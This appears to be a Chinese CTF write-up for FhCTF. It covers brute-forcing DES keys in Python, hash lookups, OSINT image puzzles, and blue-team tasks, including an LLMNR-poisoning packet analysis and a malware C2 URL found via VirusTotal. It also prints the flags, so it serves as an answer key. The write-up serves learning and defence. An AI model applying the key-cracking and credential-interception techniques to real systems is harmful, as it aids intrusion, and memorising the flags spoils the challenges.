from Crypto.Cipher import DES
# 讀取 hex 密文
with open("plaintext.enc", "rb") as f:
ct_hex = f.read().strip()
ct = binascii.unhexlify(ct_hex)
prefix = b"r5K9"
charset = (string.ascii_letters + string.digits).encode()
ct0 = ct[:8] # 只取第一個 block
def is_printable(bs: bytes) -> bool:
return all(32 <= b < 127 or b in (10, 13, 9) for b in bs)
found = None
for suf in itertools.product(charset, repeat=4):
key = prefix + bytes(suf)
cipher = DES.new(key, DES.MODE_ECB)
pt0 = cipher.decrypt(ct0)
if is_printable(pt0) and pt0.startswith(b"Here is"):
found = key
print(f"[+] Key found: {key.decode(errors='ignore')}")
break
if not found:
print("[-] Key not found")
exit()
# 使用找到的密鑰解密完整檔案
cipher = DES.new(found, DES.MODE_ECB)
pt = cipher.decrypt(ct)
# 移除 PKCS7 padding
pad = pt[-1]
if 1 <= pad <= 8 and pt.endswith(bytes([pad]) * pad):
pt = pt[:-pad]
with open("plaintext.dec.txt", "wb") as f:
f.write(pt)執行結果:
1
[+] Key found: r5K9zXxv
直接解密版本
若已知完整密鑰,可直接解密:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17from Crypto.Cipher import DES
import binascii
with open("plaintext.enc", "rb") as f:
data = binascii.unhexlify(f.read().strip())
key = b"r5K9zXxv"
cipher = DES.new(key, DES.MODE_ECB)
plain = cipher.decrypt(data)
# 移除 padding
pad = plain[-1]
if 1 <= pad <= 8 and plain.endswith(bytes([pad]) * pad):
plain = plain[:-pad]
with open("plaintext.dec.txt", "wb") as f:
f.write(plain)- 結果
成功解密後的
plaintext.dec.txt內容:1
2Here is your reward for finding the right key:
FhCTF{D0n7_c0un7_7h3_d4y5_m4k3_7h3_d4y5_c0un7}
1 | FhCTF{D0n7_c0un7_7h3_d4y5_m4k3_7h3_d4y5_c0un7} |
DES Lv.2 – 再探老船長的寶藏(Write-up)
題目描述與線索整理
題目提示:
- 有一份加密資料(
plaintext.enc) - 上一題 key 曾出現
r5K9zXxv - 圖上還有
r5K9、A.D.1688 - 並明確提示 “The Data.” 可以幫你加速解密
目標:解出密文內容,找到 GPS 座標或 Flag。
- 有一份加密資料(
初步分析:密文格式與 DES 特徵
拿到
plaintext.enc後先做格式判斷:- 檔案內容看起來像一長串 hex 字元(
0-9a-f) - 因此需先
bytes.fromhex(...)才能得到真正密文 bytes - DES block size = 8 bytes,因此密文長度應該是 8 的倍數(用於驗證資料合理性)
程式中對應處理:
1
2with open("plaintext.enc", "rb") as f:
ct = bytes.fromhex(f.read().decode("ascii").strip())- 檔案內容看起來像一長串 hex 字元(
攻擊策略:猜 mode/IV + 爆破 key 結構
DES 題常見陷阱不是只在 key,而是:
mode 可能是 ECB / CBC / CFB / OFB…
CBC 需要 IV,IV 可能是:
- 固定值(全 0)
- 由提示字串(例如
"The Data")提供 - 直接放在密文前 8 bytes(
IV || CIPHERTEXT)
key 有可能不是你以為的
r5K9????,也可能是????r5K9
因此本解法採用:
(A) 同時測多種加密情境(schemes)
在
try_dump()裡一次測四種最常見組合:- CBC + IV =
"The Data" - CBC + IV =
00...00 - CBC + IV =
ct[:8](常見IV||C格式) - ECB(不需要 IV)
1
2
3
4
5
6schemes = [
("CBC_IV_TheData", DES.MODE_CBC, b"The Data", ct),
("CBC_IV_zeros", DES.MODE_CBC, b"\x00"*8, ct),
("CBC_IV_prefix", DES.MODE_CBC, ct[:8], ct[8:]),
("ECB", DES.MODE_ECB, None, ct),
]- CBC + IV =
(B) 同時測多種 key 結構(key structures)
由於圖上有
r5K9,上一題完整 key 有zXxv(r5K9zXxv),因此假設 key 可能由固定 4 碼 + 可爆 4 碼組成。測試兩個 base(可自行擴充):
base = b"r5K9"base = b"zXxv"
並對每個 base 測兩種拼法:
base + suf→r5K9????suf + base→????r5K9
1
2
3
4
5
6bases = [b"r5K9", b"zXxv"]
keys = [
base + suf,
suf + base,
]
爆破範圍(charset / keyspace)
suffix 使用常見可見字元集合:
a-zA-Z0-9加上一些常見符號_ - ! @ # .- 目的:涵蓋 CTF 常用 key 風格,同時避免一次把 printable 全塞爆造成時間失控
1
charset = (string.ascii_letters + string.digits + "_-!@#.").encode()
爆破 keyspace 約為:
- charset 長度 ≈ 67
- suffix 4 碼 →
67^4 ≈ 20,151,121
快速判斷是否解對(避免每把 key 解全文)
爆破最慢的地方不是「試 key」,而是「每把 key 都解完整密文」。
因此此解法採用快速過濾:- (A) 只解前 64 bytes 當 head 做判斷
1
head = DES.new(key8, mode, iv=iv).decrypt(body[:64])
- (B) 判斷 head 是否像答案
用兩種條件:
- GPS regex 命中
- 可見字元比例高
GPS regex
抓常見小數座標格式:
25.0330,121.5654-33.86 151.21
1
gps_pat = re.compile(rb'[-+]?\d{1,3}\.\d{3,}\s*[, ]\s*[-+]?\d{1,3}\.\d{3,}')
可見字元比例
1
2
3def printable_ratio(b: bytes) -> float:
good = sum(1 for x in b if x in b"\n\r\t" or 32 <= x <= 126)
return good / len(b)當
gps_pat.search(head)命中或printable_ratio(head) > 0.92,才會解全文。找 Flag 的方式
若題目直接把 Flag 放在明文中,程式也會用 regex 搜尋:
1
flag_pat = re.compile(rb'FhCTF\{[^}]{1,100}\}', re.I)
- 執行方式(Windows / PowerShell)
- 安裝套件
1
python -m pip install pycryptodome
- 執行
1
python slove.py
- 等待等待成功輸出判讀(大概很久
當找到候選 key,程式會印出:
- 命中的 key 與 scheme
- head 前 200 bytes
- 若有,印出 GPS / Flag
- 以及 plaintext 前 500 bytes
輸出如下:
1 | *] brute forcing key structures... |
1 | FhCTF{23.257735309160896_119.66758643893687} |
管理員的密碼洋蔥
3個level
- level 1 給
md5 hash,上網工具查解得到qwerty - level 2 個
SHA-1,但經過通靈,我們可以猜到admin這個答案 - level 3 把
base64轉成文字就行,得到FsCTF{Happy Day}
最後就可以拿到flag
1 | FhCTF{CrYpt0_W3b_M4st3r_2025} |
OSINT
Art Work
給了一張圖片:
以圖搜圖我們會發現一個叫做「風之籽」的作品被展出於111.11.04-112.02.05的「2022屏東落山風藝術季」
1 | FhCTF{屏東縣_落山風藝術季_1111104-1120205} |
Trace the Landmark
給了三張圖片


用第三張來圖片搜尋找到了Piazza della Rotonda這個建築
按照題目Hint排好後得到:
1 | FhCTF{Piazza_della_Rotonda_00186_Roma_RM_Italy} |
島1
給了這張圖
即使被打碼,還是可以大致看出是「新_廟口餐廳」
google搜尋後:
找到餐廳後我就對著菜單和圖中的菜一一窮舉
最後答案是原圖正中間的那道炒千佛手
1 | FhCTF{新大廟口活海鮮_炒千佛手} |
The FH Gift
一開始會出現 malware_sample.eml 點開來會發現:

這個 salary_adjustment.docx 文件實際上不是 Word 文件,而是一個偽裝的 ZIP 壓縮檔 。通過檢查文件的魔術數字(前幾個 bytes),可以看到它以 PK\x03\x04 開頭,這是 ZIP 檔案的特徵標記。

1 | FhCTF{M1M3_Typ3s_C4n_B3_D3c3pt1v3} |
工商時間 1
他給了以下圖片:
把他丟到 https://www.metadata2go.com/ ,可以得到以下資料:
然後他的description是一個網站
點進去他會跳出來一個帶你到展覽網站的 按ok就會跳過去

可以看到https://github.com/tschool-students/tschool-students.github.io
我們可以知道是「臺北市數位實驗高級中等學校學習分享會」

2026.1.18 9:00 - 16:00~1.19 9:00 - 16:00 轉成 ISO 8601 格式是2026-01-18T09:00_2026-01-19T16:00
1 | FhCTF{T-SCHOOL_STUDENTS_EXPO'26_2026-01-18T09:00_2026-01-19T16:00} |
工商時間 2
由 工商時間 1,我們可以從活動官網得知活動地點在 臺北市中山區吉林路110號
我們把地址丟到Google Maps收尋,並複製座標貼上來:

Lithium exploration

丟給AI
國家: 玻利維亞 (Bolivia)
湖泊名稱(鹽沼): 烏尤尼鹽沼 (Salar de Uyuni)
生產礦物: 鋰 (Lithium)
原本是錯的
但後來改題目後就對了,很奇妙
1 | FhCTF{Bolivia_SalardeUyuni_Lithium} |
SRL
給了以下圖片
我們可以看到右方是大巨蛋後景有國父紀念館和台北101
所以我們可以推斷我們在:
島2
1 | 在清末民初年代,人們對麻瘋病(痲瘋病)所知有限,為了阻絕得病的患者,就把他們送到建功嶼上自生自滅,因此這座島被稱為「痲瘋礁」。患者被隔離在島上後,只能遙望金門本島,無法回家。 |
by google AI 搜尋

漂亮的圓頂 1
1 | 請通靈 |

漂亮的圓頂 2
簡單搜尋 免費船班 土耳其,可以讓我們找到土耳其航空的這個頁面:
https://www.turkishairlines.com/zh-tw/flights/fly-different/touristanbul/

看Google Maps,可以發現我們的目的地,就正處於博斯普鲁斯海峽附近,我們可以驗證這是對的方向。
我們有了這些資訊 T06 18:30-23:00 博斯普魯斯海峽之旅(4 月 1 日至 10 月 31 日期間營運)
通靈一下格式變成 flag
1 | FhCTF{1830-2300_0401-1031} |
沒戴安全帽的騎士

上網簡單圖片查資料,可知廠牌、車型,每個試一下,就能鎖定下答案。
1 | FhCTF{2014_Kymco_Many50} |
EXIF的「拍攝座標」
這題給的檔案出了點小問題,但就是 exif 完組合一下照片的經緯度通靈一下就好了。
Blue team
大訂單
- 一組加密的十六進制字串:
775a20657e725a206725250925317172587b3774750d2132747f5a2631752251 - 網路封包的 hex dump,顯示 HTTP POST 請求
檢查提供的封包內容,可以觀察到以下關鍵資訊:
1 | POST /api/v1/config HTTP/1.1 |
從封包中的 X-Auth-Token: FhCTF 欄位,可以推測 FhCTF 很可能就是用於加密 Target_ID 的金鑰。
- 使用 Python 對十六進制字串進行 XOR 解密:
1 | import binascii |
將解密得到的 MD5 hash 12c1842c3ccafe7408c23ebf292ee3d9 提交到 VirusTotal 進行查詢。
在 VirusTotal 的分析報告中,可以找到該惡意軟體的 C2 通訊目標:
- C2 伺服器:
http://171.22.28.221/5c06c05b7b34e8e6.php
1 | FhCTF{http://171.22.28.221/5c06c05b7b34e8e6.php} |
🧩 User’s Bad Day
給出的線索是一段封包紀錄,要求從中找出三個關鍵資訊:主機名稱、帳號名稱與檔案名稱,最後依指定格式組成 Flag。
DNS 查詢中的主機名稱
在封包最前面可以看到一個 DNS 封包,內容類似:
1
DNS Standard query A fulesrv.local
這代表使用者原本想連線的主機是
fulesrv.local。
題目提示「主機名稱不含 domain」,因此只取前半段:- 主機名稱(不含 domain):
fulesrv
✅ 主機名稱 =
fulesrv- 主機名稱(不含 domain):
DNS 失敗與 LLMNR 啟用
當 DNS 查詢失敗時,Windows 會嘗試使用 LLMNR(Link-Local Multicast Name Resolution)來解析同一個名稱。
封包中可看到類似:1
LLMNR query A fulesrv
這表示系統改用 LLMNR 發送名稱查詢,詢問「誰是 fulesrv?」
LLMNR Poisoning「怪事」的來源
在這個階段,攻擊者主機(例如 IP:
192.168.50.200)偽裝成 fulesrv 回應這個 LLMNR 查詢,聲稱自己就是目標伺服器。
結果:- 使用者誤以為解析成功,實際上連到的是攻擊者主機。
- 之後便會對攻擊者的 IP 建立 SMB 連線(TCP 445),並送出驗證資訊。
這就是典型的 LLMNR Poisoning 攻擊流程,也是題目「User’s Bad Day」名稱的由來。
帳號名稱:從 NTLM 驗證中取得使用者帳號
當使用者透過 SMB 連向假冒的伺服器時,會進行 NTLM 驗證流程,其中會包含
NTLMSSP AUTHENTICATE_MESSAGE封包。
在這類封包中,通常可解析出:- Domain Name
- User Name
- Workstation Name
將封包中的 Unicode(UTF-16LE)字串解碼後,可以得到:
- Domain Name:
DOMAIN - User Name:
Bob - Workstation:
WORKST
題目問的是「攻擊者攔截到的帳號名稱」,也就是 NTLM 驗證裡的使用者名稱:
✅ 帳號名稱 =
Bob檔案名稱:從 SMB 封包中的字串還原
在後續 SMB 封包中,會出現使用者嘗試存取的檔案路徑或檔案名稱。題目提示要注意 UTF-16LE 編碼,因此用十六進制觀看封包內容時可以看到類似:
1
74 00 65 00 73 00 74 00
將這串 bytes 以 UTF-16LE 解碼:
74 00→'t'65 00→'e'73 00→'s'74 00→'t'
合起來就是:
test
題目同時強調「檔案名稱不含副檔名」,所以即便實際檔案可能是
test.txt、test.docx等,在 Flag 中只需要檔名本體:✅ 檔案名稱 =
test依題目指定格式:
1
FhCTF{主機名稱_帳號代號_檔案名稱}
將前面三個已確認的答案依序代入:
- 主機名稱:
fulesrv - 帳號代號(帳號名稱):
Bob - 檔案名稱:
test
得到最終 Flag:
1
FhCTF{fulesrv_Bob_test}





